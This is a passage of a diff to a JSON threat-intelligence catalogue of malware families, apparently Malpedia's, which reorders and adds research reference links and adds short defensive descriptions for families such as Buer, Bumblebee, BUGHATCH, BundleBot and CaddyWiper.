"https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "http://www.secureworks.com/research/threat-profiles/gold-symphony", - "https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/", - "https://twitter.com/StopMalvertisin/status/1182505434231398401", - "https://blog.minerva-labs.com/stopping-buerloader", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", "https://blog.group-ib.com/prometheus-tds", - "https://securelist.com/mokes-and-buerak-distributed-under-the-guise-of-security-certificates/96324/", - "https://www.proofpoint.com/us/threat-insight/post/buer-new-loader-emerges-underground-marketplace", - "https://medium.com/walmartglobaltech/buerloader-updates-3e34c1949b96", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://www.trendmicro.com/en_us/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns.html", "https://twitter.com/SophosLabs/status/1321844306970251265", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://blog.minerva-labs.com/stopping-buerloader", "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://labs.vipre.com/buer-loader-found-in-an-unusual-email-attachment/", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.proofpoint.com/us/blog/threat-insight/new-variant-buer-loader-written-rust", - "http://www.secureworks.com/research/threat-profiles/gold-blackburn", + "https://www.area1security.com/blog/trickbot-spear-phishing-drops-bazar-buer-malware/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://tehtris.com/en/blog/buer-loader-analysis-a-rusted-malware-program", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://www.fortinet.com/blog/threat-research/signed-sealed-and-delivered-signed-xll-file-delivers-buer-loader", + "https://www.zscaler.com/blogs/research/spear-phishing-campaign-delivers-buer-and-bazar-malware", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/k/a-review-and-analysis-of-2021-buer-loader-campaigns/TechnicalBrief-An-Analysis-of-Buer-Loader.pdf", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html" ], "synonyms": [ "Buerloader", @@ -16665,8 +17461,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buffetline", - "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045f" + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045f", + "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/" ], "synonyms": [], "type": [] @@ -16675,7 +17471,7 @@ "value": "BUFFETLINE" }, { - "description": "", + "description": "According to Elastic, BUGHATCH is an in-memory implant loaded by an obfuscated PowerShell script that decodes and executes an embedded shellcode blob in its allocated memory space using common Windows APIs (VirtualAlloc, CreateThread, WaitForSingleObject).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch", @@ -16692,18 +17488,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.buhtrap", - "https://malware-research.org/carbanak-source-code-leaked/", - "https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", - "https://www.scythe.io/library/threatthursday-buhtrap", - "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", - "https://www.group-ib.com/brochures/gib-buhtrap-report.pdf", - "https://www.welivesecurity.com/2019/07/11/buhtrap-zero-day-espionage-campaigns/", + "https://www.welivesecurity.com/2015/04/09/operation-buhtrap/", "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e498912-44f8-4ea0-ac50-4544f0fedd6c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments", "https://www.symantec.com/connect/blogs/russian-bank-employees-received-fake-job-offers-targeted-email-attack", "https://www.welivesecurity.com/2019/04/30/buhtrap-backdoor-ransomware-advertising-platform/", - "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code", + "https://malware-research.org/carbanak-source-code-leaked/", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/operation-ta505-part3/", - "https://www.welivesecurity.com/2015/04/09/operation-buhtrap/" + "https://www.group-ib.com/brochures/gib-buhtrap-report.pdf", + "https://blog.dcso.de/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", + "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code", + "https://www.scythe.io/library/threatthursday-buhtrap", + "https://dcso.de/2019/03/14/pegasus-buhtrap-analysis-of-the-malware-stage-based-on-the-leaked-source-code/", + "https://www.welivesecurity.com/2019/07/11/buhtrap-zero-day-espionage-campaigns/" ], "synonyms": [ "Ratopak" @@ -16718,60 +17514,66 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee", - "https://www.deepinstinct.com/blog/the-dark-side-of-bumblebee-malware-loader", - "https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", - "https://www.youtube.com/watch?v=pIXl79IPkLI", - "https://www.youtube.com/watch?v=JoKJNfLAc0Y", "https://www.bleepingcomputer.com/news/security/new-bumblebee-malware-replaces-contis-bazarloader-in-cyberattacks/", - "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", - "https://blog.krakz.fr/articles/bumblebee/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", - "https://www.aspirets.com/blog/bumblebee-malware-loader-threat-analysis/", - "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056", - "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", - "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", - "https://blog.cerbero.io/?p=2617", - "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", - "https://threathunt.blog/bzz-bzz-bumblebee-loader", - "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", - "https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/", - "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/", - "https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/", - "https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/", - "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", - "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/bumblebee-docusign-campaign", - "https://cloudsek.com/technical-analysis-of-bumblebee-malware-loader/", - "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", - "https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664", - "https://twitter.com/threatinsight/status/1648330456364883968", - "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://community.riskiq.com/article/0b211905/description", - "https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/", - "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", - "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", - "https://www.infinitumit.com.tr/bumblebee-loader-malware-analysis/", - "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", - "https://blog.talosintelligence.com/following-the-lnk-metadata-trail", "https://www.secureworks.com/blog/bumblebee-malware-distributed-via-trojanized-installer-downloads", - "https://isc.sans.edu/diary/28636", - "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", - "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/", + "https://securityintelligence.com/posts/from-ramnit-to-bumblebee-via-neverquest", "https://research.checkpoint.com/2022/bumblebee-increasing-its-capacity-and-evolving-its-ttps/", + "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control", + "https://www.trendmicro.com/en_us/research/21/i/remote-code-execution-zero-day--cve-2021-40444--hits-windows--tr.html", + "https://blog.sekoia.io/bumblebee-a-new-trendy-loader-for-initial-access-brokers/", + "https://blog.talosintelligence.com/following-the-lnk-metadata-trail", + "https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/", + "https://www.infinitumit.com.tr/bumblebee-loader-malware-analysis/", + "https://community.riskiq.com/article/0b211905/description", "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/", - "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks", - "https://research.openanalysis.net/bumblebee/malware/loader/unpacking/2022/05/12/bumblebee_loader.html", - "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", - "https://isc.sans.edu/diary/rss/28636", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf", "https://isc.sans.edu/diary/rss/28664", - "https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g", + "https://www.youtube.com/watch?v=JoKJNfLAc0Y", + "https://blog.cerbero.io/?p=2617", + "https://www.botconf.eu/wp-content/uploads/formidable/2/2023_4889_DESOUZA.pdf", + "https://0xtoxin.github.io/malware%20analysis/Bumblebee-DocuSign-Campaign/", + "https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/", + "https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks", + "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", "https://team-cymru.com/blog/2022/05/25/bablosoft-lowering-the-barrier-of-entry-for-malicious-actors/", "https://twitter.com/ESETresearch/status/1577963080096555008", - "https://www.logpoint.com/wp-content/uploads/2022/05/buzz-of-the-bumblebee-a-new-malicious-loader-threat-report-no-3.pdf" + "https://isc.sans.edu/diary/rss/28636", + "https://blog.cyble.com/2022/09/07/bumblebee-returns-with-new-infection-technique/", + "https://twitter.com/threatinsight/status/1648330456364883968", + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://isc.sans.edu/diary/Bumblebee+Malware+from+TransferXL+URLs/28664", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", + "https://mp.weixin.qq.com/s/cGS8FocPnUdBconLbbaG-g", + "https://blog.krakz.fr/articles/bumblebee/", + "https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/", + "https://www.aspirets.com/blog/bumblebee-malware-loader-threat-analysis/", + "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", + "https://threathunt.blog/bzz-bzz-bumblebee-loader", + "https://elis531989.medium.com/the-chronicles-of-bumblebee-the-hook-the-bee-and-the-trickbot-connection-686379311056", + "https://www.logpoint.com/wp-content/uploads/2022/05/buzz-of-the-bumblebee-a-new-malicious-loader-threat-report-no-3.pdf", + "https://blog.gigamon.com/2021/09/10/rendering-threats-a-network-perspective/", + "https://cloudsek.com/technical-analysis-of-bumblebee-malware-loader/", + "https://twitter.com/Intrinsec/status/1699779830294970856", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf", + "https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-and-icedid", + "https://www.intezer.com/blog/malware-analysis/how-threat-actors-abuse-lnk-files/", + "https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/bumblebee-docusign-campaign", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://www.deepinstinct.com/blog/the-dark-side-of-bumblebee-malware-loader", + "https://isc.sans.edu/diary/28636", + "https://research.openanalysis.net/bumblebee/malware/loader/unpacking/2022/05/12/bumblebee_loader.html", + "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/", + "https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike", + "https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLPCLEAR-Staubmann-Busy-Bees.pptx", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti", + "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", + "https://securityintelligence.com/posts/trickbot-group-systematically-attacking-ukraine", + "https://www.youtube.com/watch?v=pIXl79IPkLI", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf" ], "synonyms": [ "COLDTRAIN", @@ -16788,8 +17590,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundestrojaner", - "https://www.f-secure.com/weblog/archives/00002249.html", - "http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf" + "http://www.ccc.de/system/uploads/76/original/staatstrojaner-report23.pdf", + "https://www.f-secure.com/weblog/archives/00002249.html" ], "synonyms": [ "0zapftis", @@ -16800,18 +17602,31 @@ "uuid": "04aeda9f-7923-45d1-ab74-9dddd8612d47", "value": "Bundestrojaner" }, + { + "description": "Bundlebot is an info stealer that abuses the single-file dotnet bundle which operates as a self-contained executable that does not require any preinstalled dotnet runtime version. Bundlebot functionality targets a wide variety of data including the victim's system information, browser data, telegram data, discord token, Facebook account information, and screenshots. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bundlebot", + "https://research.checkpoint.com/2023/byos-bundle-your-own-stealer/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "d63eb20b-6a3f-4d96-a52d-8395f1868389", + "value": "BundleBot" + }, { "description": "Bunitu is a trojan that exposes infected computers to be used as a proxy for remote clients. It registers itself at startup by providing its address and open ports. Access to Bunitu proxies is available by using criminal VPN services (e.g.VIP72).", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bunitu", "https://blog.malwarebytes.com/threat-analysis/2015/08/whos-behind-your-proxy-uncovering-bunitus-secrets/", - "https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/", - "http://malware-traffic-analysis.net/2017/05/09/index.html", "https://malwarebreakdown.com/2018/03/21/fobos-malvertising-campaign-delivers-bunitu-proxy-trojan-via-rig-ek/", - "https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/" + "http://malware-traffic-analysis.net/2017/05/09/index.html", + "https://zerophagemalware.com/2017/06/07/rig-ek-via-fake-eve-online-website-drops-bunitu/", + "https://broadanalysis.com/2019/04/12/rig-exploit-kit-delivers-bunitu-malware/", + "https://blog.malwarebytes.com/threat-analysis/2015/07/revisiting-the-bunitu-trojan/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/" ], "synonyms": [], "type": [] @@ -16854,13 +17669,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.byeby", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", - "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", "https://unit42.paloaltonetworks.com/unit42-threat-actors-target-government-belarus-using-cmstar-trojan", + "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/", "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia/", - "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/" + "https://decoded.avast.io/luigicamastra/apt-group-planted-backdoors-targeting-high-profile-networks-in-central-asia", + "https://www.welivesecurity.com/2020/05/14/mikroceen-spying-backdoor-high-profile-networks-central-asia/", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-threat-actors-target-government-belarus-using-cmstar-trojan" ], "synonyms": [], "type": [] @@ -16897,46 +17712,47 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.caddywiper", - "https://www.nioguard.com/2022/03/analysis-of-caddywiper.html", - "https://twitter.com/silascutler/status/1513870210398363651", - "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", - "https://www.youtube.com/watch?v=mrTdSdMMgnk", - "https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html", - "https://n0p.me/2022/03/2022-03-26-caddywiper/", + "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", - "https://cybersecuritynews.com/destructive-data-wiper-malware/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", - "https://cert.gov.ua/article/39518", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine", - "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", - "https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/", - "https://cert.gov.ua/article/3718487", + "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", + "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", + "https://twitter.com/ESETresearch/status/1503436420886712321", + "https://www.nioguard.com/2022/03/analysis-of-caddywiper.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", "https://securityaffairs.co/wordpress/129069/cyber-warfare-2/caddywiper-wiper-hits-ukraine.html", - "https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine", + "https://thehackernews.com/2022/03/caddywiper-yet-another-data-wiping.html", "https://twitter.com/HackPatch/status/1503538555611607042", - "https://cybernews.com/cyber-war/new-destructive-wiper-malware-deployed-in-ukraine/", - "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/", - "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://twitter.com/silascutler/status/1513870210398363651", "https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-caddywiper", + "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", + "https://cybernews.com/cyber-war/new-destructive-wiper-malware-deployed-in-ukraine/", + "https://blog.talosintelligence.com/2022/03/threat-advisory-caddywiper.html", + "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions", + "https://www.microsoft.com/en-us/security/business/security-insider/wp-content/uploads/2023/03/A-year-of-Russian-hybrid-warfare-in-Ukraine_MS-Threat-Intelligence-1.pdf", + "https://cert.gov.ua/article/3718487", + "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/", + "https://www.mandiant.com/resources/blog/gru-disruptive-playbook", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.truesec.com/hub/blog/analysis-of-caddywiper-wiper-targeting-ukraine", + "https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/", + "https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper", "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-3/", "https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works", - "https://twitter.com/ESETresearch/status/1503436420886712321", - "https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/", - "https://www.splunk.com/en_us/blog/security/threat-update-caddywiper.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war", - "https://maxkersten.nl/binary-analysis-course/analysis-scripts/ghidra-script-to-handle-stack-strings/", - "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd", + "https://n0p.me/2022/03/2022-03-26-caddywiper/", "https://services.google.com/fh/files/blogs/google_fog_of_war_research_report.pdf", - "https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat", - "https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/", "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/", - "https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/", - "https://www.mandiant.com/resources/blog/gru-rise-telegram-minions", + "https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/", + "https://www.welivesecurity.com/2022/03/15/caddywiper-new-wiper-malware-discovered-ukraine/", + "https://blog.morphisec.com/caddywiper-analysis-new-malware-attacking-ukraine", + "https://cybersecuritynews.com/destructive-data-wiper-malware/", "https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/", - "https://blog.malwarebytes.com/threat-intelligence/2022/03/double-header-isaacwiper-and-caddywiper/" + "https://www.splunk.com/en_us/blog/security/threat-update-caddywiper.html", + "https://www.youtube.com/watch?v=mrTdSdMMgnk", + "https://securityintelligence.com/posts/caddywiper-malware-targeting-ukrainian-organizations/", + "https://cert.gov.ua/article/39518", + "https://blog.eset.ie/2022/04/12/industroyer2-industroyer-reloaded/" ], "synonyms": [ "KillDisk.NCX" @@ -16951,8 +17767,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.cadelspy", - "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf", - "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets" + "https://web.archive.org/web/20191221064439/https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf" ], "synonyms": [ "Cadelle" @@ -16967,8 +17783,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.calmthorn", - "https://twitter.com/8th_grey_owl/status/1357550261963689985", "https://www.datanet.co.kr/news/articleView.html?idxno=133346", + "https://twitter.com/8th_grey_owl/status/1357550261963689985", "https://www.youtube.com/watch?v=3cUWjojQXWE" ], "synonyms": [], @@ -16997,11 +17813,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.campoloader", + "https://blog.group-ib.com/prometheus-tds", "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", "https://orangecyberdefense.com/global/blog/cybersoc/in-the-eye-of-our-cybersoc-campo-loader-analysis-and-detection-perspectives/", - "https://blog.group-ib.com/prometheus-tds", - "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/", - "https://unit42.paloaltonetworks.com/bazarloader-malware/" + "https://unit42.paloaltonetworks.com/bazarloader-malware/", + "https://therecord.media/meet-prometheus-the-secret-tds-behind-some-of-todays-malware-campaigns/" ], "synonyms": [], "type": [] @@ -17055,29 +17871,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.carbanak", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-one-a-rare-occurrence.html", - "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://threatintel.blog/OPBlueRaven-Part2/", - "https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe", - "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html", - "https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", - "https://threatintel.blog/OPBlueRaven-Part1/", - "https://www.secureworks.com/research/threat-profiles/gold-niagara", - "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-two-continuing-source-code-analysis.html", - "https://therecord.media/two-carbanak-hackers-sentenced-to-eight-years-in-prison-in-kazakhstan/", - "https://www.prodaft.com/m/reports/FIN7_TLPCLEAR.pdf", - "https://www.mandiant.com/resources/evolution-of-fin7", - "https://blog.truesec.com/2020/12/22/collaboration-between-fin7-and-the-ryuk-group-a-truesec-investigation/", "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", - "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-three-behind-the-backdoor.html", + "https://www.brighttalk.com/webcast/15591/382191/fin7-apt-how-billion-dollar-crime-ring-remains-active-after-leaders-arrest", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://www.prodaft.com/m/reports/FIN7_TLPCLEAR.pdf", + "https://www.fireeye.com/blog/threat-research/2019/04/carbanak-week-part-four-desktop-video-player.html", + "https://threatintel.blog/OPBlueRaven-Part2/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html", "https://unit42.paloaltonetworks.com/atoms/mulelibra/", - "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html", + "https://app.box.com/s/p7qzcury97tuwk26694uutujwqmwqyhe", + 